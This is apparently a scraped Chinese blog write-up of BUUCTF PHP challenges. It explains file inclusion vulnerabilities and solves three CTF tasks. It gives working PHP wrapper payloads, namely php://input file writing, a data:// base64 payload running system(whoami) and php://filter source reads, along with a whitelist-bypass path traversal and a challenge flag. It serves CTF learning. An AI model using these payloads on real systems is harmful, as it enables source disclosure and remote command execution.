0xArthur Buuctf PHP类型

编程入门 行业动态 更新时间:2024-10-24 11:18:20

0xArthur Buuctf PHP<a href=https://www.elefans.com/category/jswz/34/1771355.html style=类型"/>

0xArthur Buuctf PHP类型

Buuctf PHP类型题

PHP常见函数

isset:检测变量是否已声明并且其值不为 null
in_array:检查数组中是否存在某个值,第一个参数为待搜索的值,第二个参数为要搜索的数组
is_string:检测变量是否是字符串
empty:检查一个变量是否为空
REQUEST:_REQUEST可以获取以POST方法和GET方法提交的数据
mb_strcut() :根据 start 和 length 参数返回 str 的一部分
mb_strpos():查找字符串在另一个字符串中首次出现的位置
urldecode(): 解码已编码的 URL 字符串
include():包含并运行指定文件
include_once() :include_once 表达式和 include 表达式完全相同,唯一区别是 PHP 会检查该文件是否已经被包含过,如果是则不会再次包含
require() :require 和 include 几乎完全一样,除了处理失败的方式不同之外。require 在出错时脚本会中止,而include会继续运行。
require_once():require_once 表达式和 require 表达式完全相同,唯一区别是 PHP 会检查该文件是否已经被包含过,如果是则不会再次包含。

文件包含漏洞


漏洞原因:
php代码中使用了文件包含函数
文件包含函数参数可以自定义且没有经过过滤


漏洞分类:
本地文件包含漏洞(LFI):指包含本地服务器中的文件
格式:?file=…/…/…/xxxx
远程文件包含漏洞(RFI):指包含远程服务器中的文件
php.ini中的allow_url_fopen = On和 allow_url_include = On 时,才可以利用该漏洞


格式:?file=/xxxx


php中引发文件包含漏洞的通常是以下四个函数:
include():包含并运行指定文件
include_once() :include_once 表达式和 include 表达式完全相同,唯一区别是 PHP 会检查该文件是否已经被包含过,如果是则不会再次包含
require() :require 和 include 几乎完全一样,除了处理失败的方式不同之外。require 在出错时脚本会中止,而include会继续运行。
require_once():require_once 表达式和 require 表达式完全相同,唯一区别是 PHP 会检查该文件是否已经被包含过,如果是则不会再次包含。
当利用这四个函数来包含文件时,不管文件是什么类型(图片、txt等等),都会直接作为php文件进行解析。


伪协议


php://input:用来接收POST数据。我们能够通过input把我们的语句输入上去然后执行。


条件:

php <5.0 ,allow_url_include=Off 情况下也可以用
php > 5.0,只有在allow_url_fopen=On 时才能使用

例:

http://localhost/include/file.php?file=php://input     //URL<?php fputs(fopen("a.php","w"),"<?php phpinfo();?>")?>  //POST,创建一个文件a.php;并写入phpinfo

data://:将原本的include的文件流重定向到了用户可控制的输入流中。
条件:
allow_url_include=On
php > 5.2


例:

http://localhost/file.php?file=data:text/plain;base64,PD9waHAgc3lzdGVtKHdob2FtaSk/Pg==      //base64加密<?php system(whoami);?>;直接执行命令http://localhost/image.php?imagedata=data://image/jpeg;base64,..... // 后面加上图片木马;图片命令执行

php://filter:这个语句用来查看源码。直接包含php文件时会被解析,不能看到源码,所以用filter来读取,不过要先base64加密传输过


例:

http://localhost/file.php?file=php://filter/read=convert.base64-encode/resource=C:\oneword    //可以跟绝对路径也可以跟相对路径http://localhost/file.php?file=php://filter/read=convert.base64-encode/resource=[http|https|ftp]://www.bbb/2.txt   //远程路径

防御:
尽量使用安全版本的php
做好php的安全配置
对相应目录做相应权限设置

1. [极客大挑战 2019]Havefun 1

F12发现PHP代码

$cat=$_GET['cat']; #意思是get一个变量名字为cat
echo $cat; #意思是显示cat
if($cat=='dog'){ #意思是判断cat是否等于字符串'dog'echo 'Syc{cat_cat_cat_cat}';#显示一堆奇奇怪怪的东西,但应该就是flag,因为看见了"{ }"
}

get一个cat变量让他等于’dog’即可获得flag:?cat=dog

源URL::81/
构造URL::81/?cat=dog

2. [HCTF 2018]WarmUp 1

源文件发现source.php,访问source.php文件

源URL::81/ 
构造URL::81/source.php

寻找漏洞函数

if (! empty($_REQUEST['file'])&& is_string($_REQUEST['file'])&& emmm::checkFile($_REQUEST['file'])) {include $_REQUEST['file'];exit;

可以看到include函数没有任何过滤措施,那么我们可以利用本地文件包含漏洞来访问任意文件,以获取flag,但是想要执行include函数,我们需要满足三个条件:
1.file不为空
2.file的值是字符串
3.file通过emmm类的checkFile方法校验

第一和第二个条件都很简单,主要是第三个条件checkFile方法的校验规则非常麻烦,逐行解释一emmm类每一行代码的作用:

<?php
highlight_file(__FILE__);
class emmm
{//$page前面加&代表引用,这里是引用传递public static function checkFile(&$page){//定义whitelist数组$whitelist = ["source"=>"source.php","hint"=>"hint.php"];//如果page变量未声明或为null,或者不是字符串,则进入ifif (! isset($page) || !is_string($page)) {echo "you can't see it";return false;}//如果page的值在$whitelist数组里则进入ifif (in_array($page, $whitelist)) {return true;}//截取从0到?首次出现的位置的字符串$_page = mb_substr($page,0,mb_strpos($page . '?', '?') //点在php中用来连接两个字符串或变量,此代码意思为拼接page和?的值,并返回?字符首次出现的位置);//如果_page的值在$whitelist数组里则进入ifif (in_array($_page, $whitelist)) {return true;}//对page解码$_page = urldecode($page);//截取从0到?首次出现的位置的字符串$_page = mb_substr($_page,0,mb_strpos($_page . '?', '?'));//如果_page的值在$whitelist数组里则进入ifif (in_array($_page, $whitelist)) {return true;}echo "you can't see it";return false;}
}
//如果file变量为空 且 是字符串  且 通过checkFile 校验,则进入ifif (! empty($_REQUEST['file'])&& is_string($_REQUEST['file'])&& emmm::checkFile($_REQUEST['file'])
) {include $_REQUEST['file'];exit;
} else {echo "<br><img src=\".jpg\" />";
}
?>

读懂了emmm类的代码后,我们需要构造file的值。本地文件包含漏洞的格式一般是file=…/…/…/…/xxx,其中…/的个数不固定,xxx为flag文件名,那么这个xxx具体是什么呢?我们尝试访问一下hint.php,发现提示:flag not here, and flag in ffffllllaaaagggg,可以猜测到服务器存放flag的文件名可能为ffffllllaaaagggg,我们可以构造的file=…/ffffllllaaaagggg,将其带入checkFile中看一下是否可以返回true。

if (! isset($page) || !is_string($page)) {echo "第一个if未通过";eturn false;}

步骤一:因为我们定义了file的值且是string类型,所以第一个if 的return false 顺利绕过

if (in_array($page, $whitelist)) {return true;
}

步骤二:因为我们的file的值既不是souce.php也不是hint.php,所以是无法通过该if的,直接放弃这个return true的机会,继续往下看。

//截取从0到?首次出现的位置的字符串
$_page = mb_substr($page,0,mb_strpos($page . '?', '?') //点在php中用来连接两个字符串或变量,此代码意思为拼接page和?的值,并返回?字符首次出现的位置
);//如果_page的值在$whitelist数组里则进入if
if (in_array($_page, $whitelist)) {return true;
}

步骤三:mb_substr会将file的值通过一定的规则截取后,再次放入if判断,那么我们可以在file的值前面主动拼接一个source.php?或者hint.php?,也就是file=source.php?../ffffllllaaaagggg,通过mb_substr截取后的值是source.php,此时checkFile返回true

步骤四:我们逐个添加…/的个数,最终发现当file=source.php?../…/…/…/…/ffffllllaaaagggg的时候,输出flag。

3.[ACTF2020 新生赛]Include 1

从题目我们知道这个是一个文件包含题,对文件进行php伪协议检测

源URL::81/
构造URL::81/?file.php?file=php://input

使用input伪协议会被检测会被过滤,我们换一种filter读取源代码

源URL::81/
构造URL::81/?file=php://filter/read=convert.base64-encode/resource=index.php

得到base64编码

PG1ldGEgY2hhcnNldD0idXRmOCI+Cjw/cGhwCmVycm9yX3JlcG9ydGluZygwKTsKJGZpbGUgPSAkX0dFVFsiZmlsZSJdOwppZihzdHJpc3RyKCRmaWxlLCJwaHA6Ly9pbnB1dCIpIHx8IHN0cmlzdHIoJGZpbGUsInppcDovLyIpIHx8IHN0cmlzdHIoJGZpbGUsInBoYXI6Ly8iKSB8fCBzdHJpc3RyKCRmaWxlLCJkYXRhOiIpKXsKCWV4aXQoJ2hhY2tlciEnKTsKfQppZigkZmlsZSl7CglpbmNsdWRlKCRmaWxlKTsKfWVsc2V7CgllY2hvICc8YSBocmVmPSI/ZmlsZT1mbGFnLnBocCI+dGlwczwvYT4nOwp9Cj8+Cg==

base64工具解码得到index.php文件源码

<meta charset="utf8">
<?php
error_reporting(0);
$file = $_GET["file"];
if(stristr($file,"php://input") || stristr($file,"zip://") || stristr($file,"phar://") || stristr($file,"data:")){exit('hacker!');
}
if($file){include($file);
}else{echo '<a href="?file=flag.php">tips</a>';
}
?>

将index.php换做flag.php

源URL::81/
构造URL::81/?file=php://filter/read=convert.base64-encode/resource=flag.php

得到base64编码

PD9waHAKZWNobyAiQ2FuIHlvdSBmaW5kIG91dCB0aGUgZmxhZz8iOwovL2ZsYWd7YWVhZmUzN2UtM2NkNy00OTY4LWEwMmEtNjIyM2I1MjJiYmQ0fQo=

base64解码

<?php
echo "Can you find out the flag?";
//flag{aeafe37e-3cd7-4968-a02a-6223b522bbd4}

参考链接

1.[极客大挑战 2019]Havefun 1
在线学习蛐:

2.[HCTF 2018]WarmUp 1
张甲:

3.[ACTF2020 新生赛]Include1
won1:

更多推荐

0xArthur Buuctf PHP类型

本文发布于:2024-02-17 06:54:22,感谢您对本站的认可!
本文链接:https://www.elefans.com/category/jswz/34/1693105.html
版权声明:本站内容均来自互联网,仅供演示用,请勿用于商业和其他非法用途。如果侵犯了您的权益请与我们联系,我们将在24小时内删除。
本文标签:类型   xArthur   Buuctf   PHP

发布评论

评论列表 (有 0 条评论)
草根站长

>www.elefans.com

编程频道|电子爱好者 - 技术资讯及电子产品介绍!